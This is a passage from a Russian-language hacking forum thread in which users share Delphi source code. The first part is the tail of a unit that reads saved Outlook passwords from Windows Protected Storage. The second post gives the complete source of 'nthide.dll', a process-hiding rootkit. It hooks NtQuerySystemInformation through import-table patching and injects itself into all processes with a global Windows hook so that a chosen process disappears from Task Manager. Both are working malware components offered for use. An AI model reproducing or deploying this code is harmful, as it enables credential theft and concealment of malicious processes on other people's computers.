            begin 
              Caption[length(Caption)-7]:=#0; 
              Caption:=PChar(Caption); 
              pass:=pass+'Data('+Caption+'):Pass('+DumpData(Mem, MemLen)+'); ';  //hex->ASCII 
              CoTaskMemFree(Mem); 
            end;// else 
    //        pass:=pass+'Coult not read item data'+#13#10; 
          end; 
      end; 
    end; 
    
    procedure ExpandPSProvider; 
    var 
      ppEnum: IEnumPStoreTypes; 
      ppEnumItems: IEnumPStoreItems; 
      GUIDBuf: array[0..15] of TGUID; 
      ItemBuf: array[0..15] of PWideChar; 
      ItemsRead: Cardinal; 
    
      TypesList: TMyGUID; 
      SubtypesList: TMyGUID; 
      ItemsList: array of string; 
    
      i3, i2, i, j, k: Integer; 
      pType: PStorageType; 
      pSubtype: PStorageSubType; 
      pItem: PStorageItem; 
    begin 
    //получаем корень 
    //  pass:='Connected to ' + PStorageGetProviderInfo.ProviderName + '...'#13#10; 
    //Загоняем в TypesList интерфейс главных ветвей 
      ppEnum := nil; 
      if (FProvider.EnumTypes(0, 0, ppEnum) <> S_OK) or (ppEnum = nil) then 
      begin 
        Exit; 
        ppEnum := nil; 
      end; 
      ItemsRead := 0; 
      repeat 
        ppEnum.Next(SizeOf(GUIDBuf) div SizeOf(GUIDBuf[0]), GUIDBuf[0], ItemsRead); 
        if ItemsRead > 0 then 
        begin 
          SetLength(TypesList,ItemsRead); 
          for i := 0 to ItemsRead-1 do TypesList[i]:=GUIDBuf[i]; 
        end; 
      until ItemsRead = 0; 
      ppEnum := nil; 
    //Считываем значения главных ветвей 
      for i := 0 to high(TypesList) do 
      begin 
        New(pType); 
        pType.T := 0; 
        pType.pType := TypesList[i]; 
        ReadValue(PStorageGetTypeName(TypesList[i]), 0, pType.pType, pType.pType); 
    //Забираем из главных ветвей подветви в SubTypesList 
        ppEnum := nil; 
        if (FProvider.EnumSubTypes(0, pType.pType, 0, ppEnum) <> S_OK) or (ppEnum = nil) then 
        begin 
          Exit; 
          ppEnum := nil; 
        end; 
        ItemsRead := 0; 
        repeat 
          ppEnum.Next(SizeOf(GUIDBuf) div SizeOf(GUIDBuf[0]), GUIDBuf[0], ItemsRead); 
          if ItemsRead > 0 then 
          begin 
            SetLength(SubTypesList,ItemsRead); 
            for i2 := 0 to ItemsRead-1 do SubtypesList[i2]:=GUIDBuf[i2]; 
          end; 
        until ItemsRead = 0; 
        ppEnum := nil; 
    //Считываем значения подветвей 
        for j := 0 to high(SubtypesList) do 
        begin 
          New(pSubtype); 
          pSubtype.T := 1; 
          pSubtype.pType := pType.pType; 
          pSubtype.pSubtype := SubTypesList[j]; 
          ReadValue(PStorageGetSubtypeName(pType.pType,pSubtype.pSubtype), 1, pType.pType, pSubtype.pSubtype); 
    //Забираем значения подветвей в ItemsList 
          ppEnumItems := nil; 
          if (FProvider.EnumItems(0, pType.pType, pSubtype.pSubtype, 0, ppEnumItems) <> S_OK) or (ppEnumItems = nil) then 
          begin 
            Exit; 
            ppEnumItems := nil; 
          end; 
          ItemsRead := 0; 
          repeat 
            ppEnumItems.Next(SizeOf(ItemBuf) div SizeOf(ItemBuf[0]), ItemBuf[0], ItemsRead); 
            if ItemsRead > 0 then 
            begin 
              SetLength(ItemsList,ItemsRead); 
              for i3 := 0 to ItemsRead-1 do 
              begin 
                ItemsList[i3]:=String(ItemBuf[i3]); 
                CoTaskMemFree(ItemBuf[i3]); 
              end; 
            end; 
          until ItemsRead = 0; 
          ppEnumItems := nil; 
    //Считываем то, ради чего всё и затеяли 
          for k := 0 to high(ItemsList) do 
          begin 
            New(pItem); 
            pItem.T := 2; 
            pItem.pType := pType.pType; 
            pItem.pSubtype := pSubtype.pSubtype; 
            pItem.pItem := ItemsList[k]; 
            ReadValue(pItem.pItem, 2, pType.pType, pSubtype.pSubtype); 
          end; 
        end; 
      end; 
    end; 
    
    function GetOutlookPass: string; 
    begin 
      if not(InitLib) then exit;           //подгружаем dll 
      if not(PStorageConnect) then exit;  //соединяемся 
      ExpandPSProvider;  //получаем данные 
      //Завершаем работу.. 
      FProvider:=nil; 
      FreeLibrary(FLibrary); 
      result:=pass; 
    end; 
    
    end.
    
     
  3. Knight_of_Darkness

    Knight_of_Darkness Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    71
    Likes Received:
    68
    Reputations:
    24
    nthide.dll - для сокрытия процессов в WinXP

    Code:
    
    library hide; 
    uses 
     Windows, 
     SysUtils, 
     ImageHlp, 
     TlHelp32; 
    type SYSTEM_INFORMATION_CLASS = ( 
     SystemBasicInformation, 
     SystemProcessorInformation, 
     SystemPerformanceInformation, 
     SystemTimeOfDayInformation, 
     SystemNotImplemented1, 
     SystemProcessesAndThreadsInformation, 
     SystemCallCounts, 
     SystemConfigurationInformation, 
     SystemProcessorTimes, 
     SystemGlobalFlag, 
     SystemNotImplemented2, 
     SystemModuleInformation, 
     SystemLockInformation, 
     SystemNotImplemented3, 
     SystemNotImplemented4, 
     SystemNotImplemented5, 
     SystemHandleInformation, 
     SystemObjectInformation, 
     SystemPagefileInformation, 
     SystemInstructionEmulationCounts, 
     SystemInvalidInfoClass1, 
     SystemCacheInformation, 
     SystemPoolTagInformation, 
     SystemProcessorStatistics, 
     SystemDpcInformation, 
     SystemNotImplemented6, 
     SystemLoadImage, 
     SystemUnloadImage, 
     SystemTimeAdjustment, 
     SystemNotImplemented7, 
     SystemNotImplemented8, 
     SystemNotImplemented9, 
     SystemCrashDumpInformation, 
     SystemExceptionInformation, 
     SystemCrashDumpStateInformation, 
     SystemKernelDebuggerInformation, 
     SystemContextSwitchInformation, 
     SystemRegistryQuotaInformation, 
     SystemLoadAndCallImage, 
     SystemPrioritySeparation, 
     SystemNotImplemented10, 
     SystemNotImplemented11, 
     SystemInvalidInfoClass2, 
     SystemInvalidInfoClass3, 
     SystemTimeZoneInformation, 
     SystemLookasideInformation, 
     SystemSetTimeSlipEvent, 
     SystemCreateSession, 
     SystemDeleteSession, 
     SystemInvalidInfoClass4, 
     SystemRangeStartInformation, 
     SystemVerifierInformation, 
     SystemAddVerifier, 
     SystemSessionProcessesInformation 
    ); 
    _IMAGE_IMPORT_DESCRIPTOR = packed record 
      case Integer of 
       0:( 
        Characteristics: DWORD); 
       1:( 
        OriginalFirstThunk:DWORD; 
        TimeDateStamp:DWORD; 
        ForwarderChain: DWORD; 
        Name: DWORD; 
        FirstThunk: DWORD); 
       end; 
    IMAGE_IMPORT_DESCRIPTOR=_IMAGE_IMPORT_DESCRIPTOR; 
    PIMAGE_IMPORT_DESCRIPTOR=^IMAGE_IMPORT_DESCRIPTOR; 
    PFARPROC=^FARPROC; 
    procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar; pfnCurrent: FarProc; pfnNew: FARPROC; hmodCaller: hModule); 
    var     ulSize: ULONG; 
       pImportDesc: PIMAGE_IMPORT_DESCRIPTOR; 
        pszModName: PChar; 
            pThunk: PDWORD; ppfn:PFARPROC; 
            ffound: LongBool; 
           written: DWORD; 
    begin 
     pImportDesc:= ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize); 
      if pImportDesc = nil then exit; 
      while pImportDesc.Name<>0 do 
       begin 
        pszModName := PChar(hmodCaller + pImportDesc.Name); 
         if (lstrcmpiA(pszModName, pszCallerModName) = 0) then break; 
        Inc(pImportDesc); 
       end; 
      if (pImportDesc.Name = 0) then exit; 
     pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk); 
      while pThunk^<>0 do 
       begin 
        ppfn := PFARPROC(pThunk); 
        fFound := (ppfn^ = pfnCurrent); 
         if (fFound) then 
          begin 
           VirtualProtectEx(GetCurrentProcess,ppfn,4,PAGE_EXECUTE_READWRITE,written); 
           WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew), Written); 
           exit; 
          end; 
        Inc(pThunk); 
       end; 
    end; 
    var 
     addr_NtQuerySystemInformation: Pointer; 
     mypid: DWORD; 
     fname: PCHAR; 
     mapaddr: PDWORD; 
     hideOnlyTaskMan: PBOOL; 
    function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: Pointer; 
     SystemInformationLength:ULONG; ReturnLength:PULONG):LongInt; stdcall; 
    label onceagain, getnextpidstruct, quit, fillzero; 
    asm 
     push ReturnLength 
     push SystemInformationLength 
     push SystemInformation 
     push dword ptr SystemInformationClass 
     call dword ptr [addr_NtQuerySystemInformation] 
     or eax,eax 
     jl quit 
     cmp SystemInformationClass, SystemProcessesAndThreadsInformation 
     jne quit 
     onceagain: 
     mov esi, SystemInformation 
     getnextpidstruct: 
     mov ebx, esi 
     cmp dword ptr [esi],0 
     je quit 
     add esi, [esi] 
     mov ecx, [esi+44h] 
     cmp ecx, mypid 
     jne getnextpidstruct 
     mov edx, [esi] 
     test edx, edx 
     je fillzero 
     add [ebx], edx 
     jmp onceagain 
     fillzero: 
     and [ebx], edx 
     jmp onceagain 
     quit: 
     mov Result, eax 
    end 
    procedure InterceptFunctions; 
    var hSnapShot: THandle; 
             me32: MODULEENTRY32; 
    begin 
     addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation'); 
     hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId); 
      if hSnapshot=INVALID_HANDLE_VALUE then exit; 
       try 
        ZeroMemory(@me32,sizeof(MODULEENTRY32)); 
        me32.dwSize:=sizeof(MODULEENTRY32); 
        Module32First(hSnapShot,me32); 
         repeat 
          ReplaceIATEntryInOneMod('ntdll.dll',addr_NtQuerySystemInformation,@MyNtQuerySystemInfo,me32.hModule); 
         until not Module32Next(hSnapShot,me32); 
       finally 
        CloseHandle(hSnapShot); 
       end; 
    end; 
    procedure UninterceptFunctions; 
    var hSnapShot: THandle; 
             me32: MODULEENTRY32; 
    begin 
     addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation'); 
     hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId); 
      if hSnapshot=INVALID_HANDLE_VALUE then exit; 
      try 
       ZeroMemory(@me32,sizeof(MODULEENTRY32)); 
       me32.dwSize:=sizeof(MODULEENTRY32); 
       Module32First(hSnapShot,me32); 
        repeat 
         ReplaceIATEntryInOneMod('ntdll.dll',@MyNtQuerySystemInfo,addr_NtQuerySystemInformation,me32.hModule); 
        until not Module32Next(hSnapShot,me32); 
      finally 
       CloseHandle(hSnapShot); 
      end; 
    end; 
    var HookHandle: THandle; 
    function CbtProc(code: integer; wparam: integer; lparam: integer):Integer; stdcall; 
    begin 
     Result:=0; 
    end; 
    procedure InstallHook; stdcall; 
    begin 
     HookHandle:=SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0); 
    end; 
    var hFirstMapHandle:THandle; 
    function HideProcess(pid:DWORD; HideOnlyFromTaskManager:BOOL):BOOL; stdcall; 
    var addrMap: PDWORD; 
           ptr2: PBOOL; 
    begin 
     mypid:=0; 
     result:=false; 
     hFirstMapHandle:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,8,'NtHideFileMapping'); 
      if hFirstMapHandle=0 then exit; 
     addrMap:=MapViewOfFile(hFirstMapHandle,FILE_MAP_WRITE,0,0,8); 
      if addrMap=nil then 
       begin 
        CloseHandle(hFirstMapHandle); 
        exit; 
       end; 
     addrMap^:=pid; 
     ptr2:=PBOOL(DWORD(addrMap)+4); 
     ptr2^:=HideOnlyFromTaskManager; 
     UnmapViewOfFile(addrMap); 
     InstallHook; 
     result:=true; 
    end; 
    exports 
     HideProcess; 
    var 
     hmap: THandle; 
    procedure LibraryProc(Reason: Integer); 
    begin 
     if Reason = DLL_PROCESS_DETACH then 
      if mypid > 0 then 
       UninterceptFunctions() 
     else 
      CloseHandle(hFirstMapHandle); 
    end; 
    begin 
     hmap:=OpenFileMapping(FILE_MAP_READ,false,'NtHideFileMapping'); 
      if hmap=0 then exit; 
      try 
       mapaddr:=MapViewOfFile(hmap,FILE_MAP_READ,0,0,0); 
        if mapaddr=nil then exit; 
       mypid:=mapaddr^; 
       hideOnlyTaskMan:=PBOOL(DWORD(mapaddr)+4); 
        if hideOnlyTaskMan^ then 
         begin 
          fname:=allocMem(MAX_PATH+1); 
          GetModuleFileName(GetModuleHandle(nil),fname,MAX_PATH+1); 
           if not (ExtractFileName(fname)='taskmgr.exe') then exit; 
         end; 
       InterceptFunctions; 
      finally 
       UnmapViewOfFile(mapaddr); 
       CloseHandle(Hmap); 
       DLLProc:=@LibraryProc; 
      end; 
    end. 
    
    
     
    1 person likes this.
Loading...